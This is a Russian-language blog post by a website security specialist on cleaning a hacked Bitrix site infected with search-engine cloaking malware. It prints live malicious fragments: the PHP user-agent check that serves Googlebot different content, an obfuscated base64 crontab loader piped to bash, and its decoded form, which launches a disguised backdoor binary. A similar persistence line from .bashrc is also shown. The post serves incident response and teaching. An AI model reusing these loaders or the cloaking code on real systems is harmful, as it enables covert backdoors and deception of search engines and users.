
Довольно часто ко мне обращаются владельцы и администраторы взломанных сайтов по поводу удаления вредоносного кода и закрытия уязвимостей. Недавно был интересный случай, обратился администратор сайта с таким запросом:
"Нам нужна услуга по очистке сайта от вируса. Сайт на битриксе. Вирус типа клоакинг, подменяет контент для юзер-агена поисковиков".
В данной статье я описал поиск и устранение уязвимостей типа "Клоакинг" на сайте.
Клоакинг (от англ. cloaking — "маскировка") — это SEO-практика, при которой сайт показывает разный контент поисковым роботам и обычным пользователям. Это запрещённый метод, нарушающий правила поисковых систем.
- Список действий:
- Сканирование сайта на подозрительный код
- Анализ логов
- Проверка crontab и агентов
- Проверка запущенных процессов
Сканирование сайта на подозрительный код
Для сканирования сайтов на вирусы я использую свой модуль Поиск вирусов и встроенный в модуль Проактивной защиты - Поиск троянов. Проверка показала наличие уязвимостей, но клоакинг пришлось искать вручную, последовательно по ходу обработки запроса, сначала в .htaccess, и подключаемых в нем файлах, далее в модулях. Вирус был найден в прологе, подключался файл:
include ('/dev/shm/shm');

В файле dev/shm/shm была проверка юзер-агента:
if (check_user_agent('Googlebot') || check_user_agent('Google-Site-Verification') || check_user_agent('Google-InspectionTool')) {
echo $useragent_code;
exit;
}
И далее подмена контента: 
Анализ логов
Оставался вопрос - как зашли на сайт и какие есть лазейки.
Судя по логам, зайти на сайт могли с помощью уязвимостей модулей kda.importexcel, esol.importexportexcel, загрузили вебшел, типа /ajax/89a9094c8917.php, и получили полный доступ.
Проверка crontab и агентов
На кроне стояла подозрительная задача:
#0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVU2MDAgZGVmdW5jdCAyPi9kZXYvbnVsbCB8fCBTSEVMTD0vYmluL2Jhc2ggVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS9iaXRyaXgvLmNvbmZpZy9odG9wL2RlZnVuY3QuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdbd2F0Y2hkb2dkXScgJy9ob21lL2JpdHJpeC8uY29uZmlnL2h0b3AvZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel

Обфусцированный код явно вызывал подозрение.
После декодирования base64, получили:
/usr/bin/pkill -0 -U600 defunct 2>/dev/null || SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /home/bitrix/.config/htop/defunct.dat -liqD" /usr/bin/bash -c "exec -a '[watchdodg]' '/home/bitrix/.config/htop/defunct'" 2>/dev/null
Запускался вредоносный процесс defung, который использовал бинарный файл /home/bitrix/.config/htop/defunct возможно для майнинга или каких-то других целей.
Среди агентов подозрительных не было.
Проверка запущенных процессов
Ещё один вредонос нашли в файле /home/bitrix/.bashrc:

После декодирования она превращается в:
/usr/bin/pkill -0 -U600 defunct 2>/dev/null || (TERM=xterm-256color GS_ARGS="-k /home/bitrix/.config/htop/defunct.dat -liqQ" exec -a '[watchdodg]' '/home/bitrix/.config/htop/defunct' 2>/dev/null)
pkill -0 -U600 defunct – проверяет, работает ли процесс с именем defunct от пользователя с UID 600. Если процесса нет, запускается вредоносный бинарный файл: /home/bitrix/.config/htop/defunct под маскировкой [watchdodg]. Вероятно, это бэкдор или майнер, который маскируется под легитимный процесс.

В общем, процессы завершили, вредоносный контент удалили, наблюдаем за сайтами.
Семен Голиков.



